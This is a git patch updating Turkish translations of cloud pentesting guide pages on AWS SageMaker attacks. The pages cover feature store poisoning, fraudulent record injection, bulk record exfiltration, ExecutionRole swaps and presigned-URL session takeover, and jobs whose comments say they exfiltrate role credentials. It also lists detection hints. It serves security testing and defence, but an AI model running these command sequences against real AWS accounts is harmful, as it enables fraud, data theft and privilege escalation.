From 24aee2047d31ff17b299e461a20b7fcaf2aae398 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 17 Oct 2025 15:54:09 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../feature-store-poisoning.md | 172 +++++++++--- .../aws-sagemaker-privesc/README.md | 262 +++++++++++++++--- .../aws-services/aws-sagemaker-enum/README.md | 86 +++--- .../README.md | 105 +------ 4 files changed, 415 insertions(+), 210 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 7034d74ec..cb0cb6de1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,50 +1,160 @@ # SageMaker Feature Store online store poisoning -`sagemaker:PutRecord`'ı OnlineStore etkin olan bir Feature Group üzerinde kötüye kullanarak, online inference tarafından tüketilen canlı özellik değerlerinin üzerine yazın. `sagemaker:GetRecord` ile birleştirildiğinde, bir saldırgan hassas özellikleri okuyabilir. Bunun için model veya endpoint erişimine gerek yoktur. +OnlineStore etkinleştirilmiş bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak, online inference tarafından tüketilen canlı feature değerlerini üzerine yazabilirsiniz. `sagemaker:GetRecord` ile birleştiğinde, saldırgan hassas feature'ları okuyabilir ve gizli ML verilerini exfiltrate edebilir. Bu, modellere veya endpointlere erişim gerektirmez; bu nedenle doğrudan veri katmanı saldırısıdır. ## Gereksinimler - İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Hedef: OnlineStore etkin bir Feature Group (genellikle gerçek zamanlı çıkarımı destekler) +- Hedef: OnlineStore etkinleştirilmiş Feature Group (genellikle gerçek zamanlı inference'ı destekler) +- Karmaşıklık: **LOW** - Basit AWS CLI komutları, model manipülasyonu gerektirmez ## Adımlar -1) Test için küçük bir Online Feature Group seçin veya oluşturun + +### Reconnaissance + +1) OnlineStore etkinleştirilmiş Feature Group'ları listele +```bash +REGION=${REGION:-us-east-1} +aws sagemaker list-feature-groups \ +--region $REGION \ +--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ +--output table +``` +2) Şemasını anlamak için hedef Feature Group'u tanımlayın +```bash +FG= +aws sagemaker describe-feature-group \ +--region $REGION \ +--feature-group-name "$FG" +``` +`RecordIdentifierFeatureName`, `EventTimeFeatureName` ve tüm feature tanımlarına dikkat edin. Bunlar geçerli kayıtlar oluşturmak için gereklidir. + +### Attack Scenario 1: Data Poisoning (Overwrite Existing Records) + +1) Mevcut geçerli kaydı okuyun +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +2) Poison the record'ı kötü amaçlı değerlerle inline `--record` parametresini kullanarak zehirleyin +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"} +]" \ +--target-stores OnlineStore +``` +3) Zehirlenmiş veriyi doğrulayın +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-001 +``` +**Etkisi**: ML modelleri bu özelliği tüketirken artık meşru bir kullanıcı için `risk_score=0.99` görecek, bu da işlemlerini veya hizmetlerini engelleyebilir. + +### Saldırı Senaryosu 2: Malicious Data Injection (Create Fraudulent Records) + +Güvenlik kontrollerinden kaçmak için manipüle edilmiş özelliklerle tamamen yeni kayıtlar enjekte edin: +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) + +# Create fake user with artificially low risk to perform fraudulent transactions +aws sagemaker-featurestore-runtime put-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record "[ +{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"}, +{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"}, +{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"}, +{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"}, +{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"} +]" \ +--target-stores OnlineStore +``` +Enjeksiyonu doğrulayın: +```bash +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string user-999 +``` +**Etkisi**: Saldırgan, sahtekarlık tespitini tetiklemeden yüksek değerli sahte işlemler gerçekleştirebilecek düşük risk skoruna (0.01) sahip sahte bir kimlik oluşturur. + +### Saldırı Senaryosu 3: Sensitive Data Exfiltration + +Birden fazla kaydı okuyarak gizli özellikleri çıkarmak ve model davranışını profillemek: +```bash +# Exfiltrate data for known users +for USER_ID in user-001 user-002 user-003 user-999; do +echo "Exfiltrating data for ${USER_ID}:" +aws sagemaker-featurestore-runtime get-record \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-value-as-string ${USER_ID} +done +``` +**Etkisi**: Gizli özellikler (risk puanları, işlem desenleri, kişisel veriler) saldırganın erişimine açılır. + +### Test/Demo Özellik Grubu Oluşturma (İsteğe Bağlı) + +Test bir Özellik Grubu oluşturmanız gerekiyorsa: ```bash REGION=${REGION:-us-east-1} FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) if [ -z "$FG" -o "$FG" = "None" ]; then ACC=$(aws sts get-caller-identity --query Account --output text) -FG=ht-fg-$ACC-$(date +%s) +FG=test-fg-$ACC-$(date +%s) ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) -aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" + +aws sagemaker create-feature-group \ +--region $REGION \ +--feature-group-name "$FG" \ +--record-identifier-feature-name entity_id \ +--event-time-feature-name event_time \ +--feature-definitions "[ +{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"}, +{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"}, +{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"} +]" \ +--online-store-config "{\"EnableOnlineStore\":true}" \ +--role-arn "$ROLE_ARN" + echo "Waiting for feature group to be in Created state..." for i in $(seq 1 40); do ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) -echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15 done fi -``` -2) Çevrimiçi bir kayıt ekle/üzerine yaz (poison) -```bash -NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) -cat > /tmp/put.json << JSON -{ -"FeatureGroupName": "$FG", -"Record": [ -{"FeatureName": "entity_id", "ValueAsString": "user-123"}, -{"FeatureName": "event_time", "ValueAsString": "$NOW"}, -{"FeatureName": "risk_score", "ValueAsString": "0.99"} -], -"TargetStores": ["OnlineStore"] -} -JSON -aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json -``` -3) Manipülasyonu doğrulamak için kaydı geri okuyun -```bash -aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" -``` -Beklenen: risk_score 0.99 döner (attacker-set), modeller tarafından tüketilen online özellikleri değiştirme kabiliyetini kanıtlar. -## Etki -- Real-time integrity attack: üretim modelleri tarafından kullanılan özellikleri endpoints/models'a dokunmadan manipüle etme. -- Gizlilik riski: OnlineStore'dan GetRecord aracılığıyla hassas özellikleri okuma. +echo "Feature Group ready: $FG" +``` +## Tespit + +Şüpheli kalıplar için CloudTrail'i izleyin: +- `PutRecord` events from unusual IAM principals or IP addresses +- Yüksek sıklıkta `PutRecord` veya `GetRecord` çağrıları +- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range) +- Toplu `GetRecord` operations indicating mass exfiltration +- Normal iş saatleri dışında veya beklenmedik konumlardan erişim + +Anomali tespiti uygulayın: +- Özellik değeri doğrulaması (örn., `risk_score` 0.0-1.0 aralığında olmalı) +- Yazma kalıbı analizi (sıklık, zamanlama, kaynak kimliği) +- Veri kayması tespiti (özellik dağılımlarındaki ani değişiklikler) + +## Referanslar +- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md index 40c1fd498..bcfce1631 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md @@ -6,7 +6,7 @@ ### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` -Erişim için IAM Role'ü iliştirilmiş bir notebook oluşturmaya başlayın: +Erişim için iliştirilmiş IAM Role ile bir noteboook oluşturmaya başla: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ @@ -17,23 +17,105 @@ Yanıt, yeni oluşturulan notebook instance'ın ARN'sini içerecek olan `Noteboo aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Tarayıcıyla URL'ye gidin ve sağ üstte `Open JupyterLab`` üzerine tıklayın, sonra aşağı kaydırıp “Launcher” sekmesine gidin ve “Other” bölümünün altında “Terminal” butonuna tıklayın. +Tarayıcıyla URL'ye gidin ve sağ üstte `Open JupyterLab`` üzerine tıklayın, sonra aşağı kaydırıp “Launcher” sekmesine gidin ve “Other” bölümünün altında “Terminal” düğmesine tıklayın. -Now It's possible to access the metadata credentials of the IAM Role. +Artık IAM Role'ün metadata kimlik bilgilerine erişmek mümkün. -**Potential Impact:** Belirtilen sagemaker service role'a Privesc. +**Olası Etki:** Belirtilen sagemaker service rolüne Privesc. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Eğer üzerinde Jupyter **notebook'lar zaten çalışıyorsa** ve bunları `sagemaker:ListNotebookInstances` ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız), bunlar için bir URL oluşturup erişebilir ve önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz. +Üzerinde Jupyter **notebook'lar zaten çalışıyorsa** ve bunları `sagemaker:ListNotebookInstances` ile listeleyebiliyorsanız (veya bunları başka bir şekilde keşfedebiliyorsanız). Bunlar için bir URL oluşturabilir, erişebilir ve **önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` -**Olası Etki:** Ekli sagemaker servis rolüne Privesc. +**Olası Etki:** Bağlı sagemaker servis rolünde Privesc. + + +## `sagemaker:CreatePresignedDomainUrl` + +> [!WARNING] +> Bu saldırı yalnızca eski, geleneksel SageMaker Studio domain'lerinde çalışır; SageMaker Unified Studio tarafından oluşturulanlarda çalışmaz. Unified Studio'dan gelen domain'ler şu hatayı döndürecektir: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal". + +Hedef bir Studio `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` çağırma iznine sahip bir kimlik, o profile doğrudan kimlik doğrulayan bir giriş URL'si oluşturabilir. Bu, saldırganın tarayıcısına profilin `ExecutionRole` izinlerini miras alan ve profilin EFS destekli home dizinine ve uygulamalarına tam erişim sağlayan bir Studio oturumu verir. Hiçbir `iam:PassRole` veya console erişimi gerekmez. + +**Gereksinimler**: +- Bir SageMaker Studio `Domain` ve içinde hedef bir `UserProfile`. +- Saldırgan kimliğinin hedef `UserProfile` üzerinde `sagemaker:CreatePresignedDomainUrl` iznine (resource‑level) veya `*`'a ihtiyacı var. + +Minimal policy example (scoped to one UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +**Abuse Steps**: + +1) Hedefleyebileceğiniz bir Studio Domain ve UserProfiles'ı enumerate edin +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) unified studio'nun kullanılmadığını kontrol edin (attack yalnızca geleneksel SageMaker Studio alanlarında çalışır) +```bash +aws sagemaker describe-domain --domain-id --query 'DomainSettings' +# If you get info about unified studio, this attack won't work +``` +3) Varsayılan olarak yaklaşık 5 dakika geçerli olan bir presigned URL oluşturun +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +4) Döndürülen URL'yi bir tarayıcıda açarak hedef kullanıcı olarak Studio'ya giriş yapın. Studio içindeki bir Jupyter terminalinde etkin kimliği doğrulayın veya token'ı exfiltrate edin: +```bash +aws sts get-caller-identity +``` +Notlar: +- `--landing-uri` atlanabilir. Bazı değerler (ör. `app:JupyterLab:/lab`) Studio türüne/sürümüne bağlı olarak reddedilebilir; varsayılanlar tipik olarak Studio ana sayfasına ve ardından Jupyter'e yönlendirir. +- Org politikaları/VPC endpoint kısıtlamaları yine de ağ erişimini engelleyebilir; token oluşturma için console sign‑in veya `iam:PassRole` gerekmez. + +**Potential Impact**: Lateral movement and privilege escalation by assuming any Studio `UserProfile` whose ARN is permitted, inheriting its `ExecutionRole` and filesystem/apps. + +### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` + +Hedef bir SageMaker MLflow Tracking Server için `sagemaker:CreatePresignedMlflowTrackingServerUrl` (ve daha sonra erişim için `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`) çağırma iznine sahip bir kimlik, o sunucu için yönetilen MLflow UI'a doğrudan kimlik doğrulayan tek kullanımlık bir presigned URL oluşturabilir. Bu, meşru bir kullanıcının sunucuya sahip olacağı aynı erişimi verir (deneyimleri ve run'ları görüntüleme/oluşturma ve sunucunun S3 artifact deposundaki artifact'ları indirme/yükleme). + +**Requirements:** +- Hesap/bölgedeki bir SageMaker MLflow Tracking Server ve onun adı. +- Saldırganın principal'ının hedef MLflow Tracking Server kaynağı üzerinde `sagemaker:CreatePresignedMlflowTrackingServerUrl` iznine ihtiyacı vardır (veya `*`). + +**Abuse Steps**: + +1) Hedefleyebileceğiniz MLflow Tracking Server'ları listeleyin ve bir isim seçin +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Presigned MLflow UI URL oluşturun (kısa süre için geçerli) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--query AuthorizedUrl --output text +``` +3) Döndürülen URL'yi bir tarayıcıda açarak ilgili Tracking Server için kimlik doğrulaması yapılmış kullanıcı olarak MLflow UI'ya erişin. + +**Olası Etki:** Hedeflenen Tracking Server için yönetilen MLflow UI'ya doğrudan erişim; sunucu yapılandırmasının uyguladığı izinler dahilinde deneyleri/çalıştırmaları görüntüleme ve değiştirme ile sunucunun yapılandırdığı S3 artifact store'da saklanan artefaktları alma veya yükleme yapma imkânı. + ### `sagemaker:CreateProcessingJob`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, bir SageMaker rolü iliştirilmiş şekilde **SageMaker'ın bir processing job çalıştırmasını** sağlayabilir. Zaten Python içeren AWS Deep Learning Containers'lardan birini yeniden kullanarak (ve işi URI ile aynı bölgede çalıştırarak), kendi imajlarınızı oluşturmadan inline kod çalıştırabilirsiniz: +Bu izinlere sahip bir saldırgan, bir SageMaker rolü iliştirilmiş olarak SageMaker'in bir processing job yürütmesini sağlayabilir. AWS Deep Learning Containers'tan Python içeren birini yeniden kullanarak (ve işi URI ile aynı bölgede çalıştırarak), kendi imajlarınızı oluşturmadan inline kod çalıştırabilirsiniz: ```bash REGION= ROLE_ARN= @@ -49,11 +131,11 @@ aws sagemaker create-processing-job \ # Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen. ``` -**Potential Impact:** Belirtilen sagemaker servis rolüne Privesc. +**Potansiyel Etki:** Belirtilen sagemaker servis rolüne Privesc. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, belirtilen rol altında keyfi kod çalıştıran bir training job başlatabilir. Resmi bir SageMaker konteynerini kullanıp entrypoint'i inline bir payload ile üzerine yazarak, kendi imajlarınızı oluşturmanıza gerek yok: +Bu izinlere sahip bir saldırgan, belirtilen rol ile keyfi kod çalıştıran bir training job başlatabilir. SageMaker'in resmi bir container'ını kullanıp entrypoint'i inline bir payload ile üzerine yazarak, kendi imajlarınızı oluşturmanıza gerek yok: ```bash REGION= ROLE_ARN= @@ -73,11 +155,11 @@ aws sagemaker create-training-job \ # El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol. ``` -**Olası Etki:** Belirtilen SageMaker servis rolüne Privesc. +**Potansiyel Etki:** Privesc to the SageMaker service role specified. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Bu izinlere sahip bir saldırgan, sağlanan rol altında saldırgan tarafından kontrol edilen kodu çalıştıran bir HyperParameter Tuning Job başlatabilir. Script mode, payload'u S3'te barındırmayı gerektirir, ancak tüm adımlar CLI'den otomatikleştirilebilir: +Bu izinlere sahip bir attacker, sağlanan role altında attacker-controlled kod çalıştıran bir HyperParameter Tuning Job başlatabilir. Script mode, payload'ı S3'te barındırmayı gerektirir, ancak tüm adımlar CLI üzerinden otomatikleştirilebilir: ```bash REGION= ROLE_ARN= @@ -183,28 +265,29 @@ aws sagemaker create-hyper-parameter-tuning-job \ --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \ --training-job-definition file:///tmp/hpo-definition.json ``` -Süreç tarafından başlatılan her eğitim, metriği yazdırır ve belirtilen rolün kimlik bilgilerini exfiltrate eder. +Süreç tarafından başlatılan her eğitim metriği yazdırır ve belirtilen rolün kimlik bilgilerini exfiltrate eder. -### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio rol değişimi (`iam:PassRole` olmadan) +### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) -ExecutionRole önceliği: +SageMaker Studio User Profile'ı güncelleme, bir uygulama oluşturma, uygulamaya ön imzalı bir URL oluşturma ve `iam:PassRole` izinlerine sahip olmak, saldırganın `ExecutionRole`u SageMaker servis principalinin üstlenebileceği herhangi bir IAM rolü olarak ayarlamasına izin verir. Bu profil için başlatılan yeni Studio uygulamaları değiştirilmiş rol ile çalışacak ve Studio'dan başlatılan Jupyter terminalleri veya işler aracılığıyla etkileşimli yükseltilmiş izinler sağlar. -- `UserProfile` herhangi bir değeri geçersiz kılar. Bir profil `ExecutionRole` tanımlıyorsa, Studio her zaman o rolü kullanır. -- `Space` yalnızca profil kendi rolünü tanımlamadığında uygulanır; aksi takdirde profilin rolü geçerlidir. -- `Domain DefaultUserSettings` ne profil ne de Space bir rol tanımlamadığında son çare olarak davranır. - -SageMaker Studio User Profile (veya Space/Domain) güncelleme izinlerine sahip bir saldırgan, `ExecutionRole`'ü SageMaker service principalinin üstlenebileceği herhangi bir IAM role ayarlayabilir. Job-creation API'lerinin aksine, Studio profil güncelleme API'leri `iam:PassRole` gerektirmez. O profil için başlatılan yeni Studio uygulamaları, değiştirilmiş rol ile çalışacak ve Jupyter terminalleri veya Studio'dan başlatılan job'lar aracılığıyla etkileşimli olarak yükseltilmiş izinler sağlar. +> [!WARNING] +> Bu saldırı profilde hiçbir uygulama olmamasını gerektirir; aksi takdirde uygulama oluşturma şu benzer hatayla başarısız olur: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.` +> Eğer herhangi bir uygulama varsa, önce bunları silmek için `sagemaker:DeleteApp` iznine ihtiyacınız olacaktır. Adımlar: ```bash -# 1) List Studio user profiles and pick a target +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target aws sagemaker list-user-profiles --domain-id-equals # Choose a more-privileged role that already trusts sagemaker.amazonaws.com ROLE_ARN=arn:aws:iam:::role/ -# 2) Update the Studio profile to use the new role (no iam:PassRole) +# 3) Update the Studio profile to use the new role (no iam:PassRole) aws sagemaker update-user-profile \ --domain-id \ --user-profile-name \ @@ -215,18 +298,59 @@ aws sagemaker describe-user-profile \ --user-profile-name \ --query 'UserSettings.ExecutionRole' --output text -# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level -aws sagemaker update-space \ ---domain-id \ ---space-name \ ---space-settings ExecutionRole=$ROLE_ARN +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals -aws sagemaker describe-space \ +# Delete an app +aws sagemaker delete-app \ --domain-id \ ---space-name \ ---query 'SpaceSettings.ExecutionRole' --output text +--user-profile-name \ +--app-type JupyterServer \ +--app-name -# 4) Optionally, change the domain default so every profile inherits the new role +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name + + +# 5) Generate a presigned URL to access Studio with the new domain default role +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) + +``` +**Olası Etki**: interactive Studio oturumları için belirtilen SageMaker execution role izinlerine yetki yükseltme. + + +### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`) + +Bir kullanıcıya SageMaker Studio Domain'i güncelleme, bir app oluşturma, app için bir presigned URL oluşturma ve `iam:PassRole` izinleri verildiğinde, bir saldırgan varsayılan domain `ExecutionRole`'ü SageMaker service principal'ın assume edebileceği herhangi bir IAM role olarak ayarlayabilir. O profil için başlatılan yeni Studio app'leri değiştirilmiş role ile çalışacak ve Jupyter terminalleri veya Studio'dan başlatılan job'lar aracılığıyla etkileşimli yükseltilmiş izinler sağlayacaktır. + +> [!WARNING] +> Bu saldırı, domain içinde hiçbir uygulama olmamasını gerektirir; aksi takdirde uygulama oluşturma şu hata ile başarısız olur: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.` + +Adımlar: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# Choose a more-privileged role that already trusts sagemaker.amazonaws.com +ROLE_ARN=arn:aws:iam:::role/ + +# 3) Change the domain default so every profile inherits the new role aws sagemaker update-domain \ --domain-id \ --default-user-settings ExecutionRole=$ROLE_ARN @@ -235,22 +359,86 @@ aws sagemaker describe-domain \ --domain-id \ --query 'DefaultUserSettings.ExecutionRole' --output text -# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role -aws sagemaker create-app \ +# 3.1) Optional if you need to delete existing apps first +# List existing apps +aws sagemaker list-apps \ +--domain-id-equals + +# Delete an app +aws sagemaker delete-app \ --domain-id \ --user-profile-name \ --app-type JupyterServer \ ---app-name js-atk +--app-name -# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run: -# aws sts get-caller-identity # should reflect the new ExecutionRole +# 4) Create a JupyterServer app for a user profile (will inherit domain default role) +aws sagemaker create-app \ +--domain-id \ +--app-type JupyterServer \ +--app-name js-domain-escalated + +# 5) Generate a presigned URL to access Studio with the new domain default role aws sagemaker create-presigned-domain-url \ --domain-id \ --user-profile-name \ --query AuthorizedUrl --output text -``` -**Olası Etki**: Etkileşimli Studio oturumları için belirtilen SageMaker execution role izinlerine Privilege escalation. +# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +# (should show the high-privilege role from domain defaults) +``` +**Potential Impact**: Belirtilen SageMaker execution role izinlerine, etkileşimli Studio oturumları kapsamında Privilege escalation. + +### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl` + +Hedef bir UserProfile için SageMaker Studio uygulaması oluşturma iznine sahip bir attacker, profilin `ExecutionRole` ile çalışan bir JupyterServer uygulaması başlatabilir. Bu, rolün izinlerine Jupyter terminalleri veya Studio'dan başlatılan işler aracılığıyla etkileşimli erişim sağlar. + +Adımlar: +```bash +# 1) List Studio domains and pick a target +aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' + +# 2) List Studio user profiles and pick a target +aws sagemaker list-user-profiles --domain-id-equals + +# 3) Create a JupyterServer app for the user profile +aws sagemaker create-app \ +--domain-id \ +--user-profile-name \ +--app-type JupyterServer \ +--app-name js-privesc + +# 4) Generate a presigned URL to access Studio +aws sagemaker create-presigned-domain-url \ +--domain-id \ +--user-profile-name \ +--query AuthorizedUrl --output text + +# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify: +# aws sts get-caller-identity +``` +**Potential Impact**: Hedef UserProfile'a bağlı SageMaker execution role'a etkileşimli erişim. + + +### `iam:GetUser`, `datazone:CreateUserProfile` + +Bu izinlere sahip bir saldırgan, o kullanıcı için bir DataZone User Profile oluşturarak bir IAM user'ın Sagemaker Unified Studio Domain'e erişmesine izin verebilir. +```bash +# List domains +aws datazone list-domains --region us-east-1 \ +--query "items[].{Id:id,Name:name}" \ +--output json + +# Add IAM user as a user of the domain +aws datazone create-user-profile \ +--region us-east-1 \ +--domain-identifier \ +--user-identifier \ +--user-type IAM_USER +``` +The Unified Domain URL şu biçimdedir: `https://.sagemaker..on.aws/` (ör. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`). + +**Potansiyel Etki:** Kullanıcı olarak Sagemaker Unified Studio Domain'e erişim, Sagemaker domain içindeki tüm kaynaklara erişilebilmesini ve hatta Sagemaker Unified Studio Domain içindeki notebook'ların kullandığı role privilege escalation yapılabilmesini sağlar. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md index 5387191da..6075e8c80 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -2,31 +2,31 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Service Overview +## Hizmet Genel Bakışı -Amazon SageMaker, notebook'ları, eğitim altyapısını, orkestrasyonu, kayıt defterlerini ve yönetilen endpoint'leri bir araya getiren AWS'in yönetilen makine öğrenimi platformudur. SageMaker kaynaklarının ele geçirilmesi tipik olarak şunları sağlar: +Amazon SageMaker, notebook'ları, eğitim altyapısını, orkestrasyonu, registry'leri ve yönetilen endpoint'leri birleştiren AWS'in yönetilen makine öğrenimi platformudur. SageMaker kaynaklarının ele geçirilmesi tipik olarak şunları sağlar: -- Uzun ömürlü IAM execution roles ile geniş S3, ECR, Secrets Manager veya KMS erişimi. -- S3, EFS veya feature store'lar içinde saklanan hassas veri setlerine erişim. -- VPC'ler içinde ağ foothold'ları (Studio apps, training jobs, endpoints). +- Geniş S3, ECR, Secrets Manager veya KMS erişimine sahip uzun 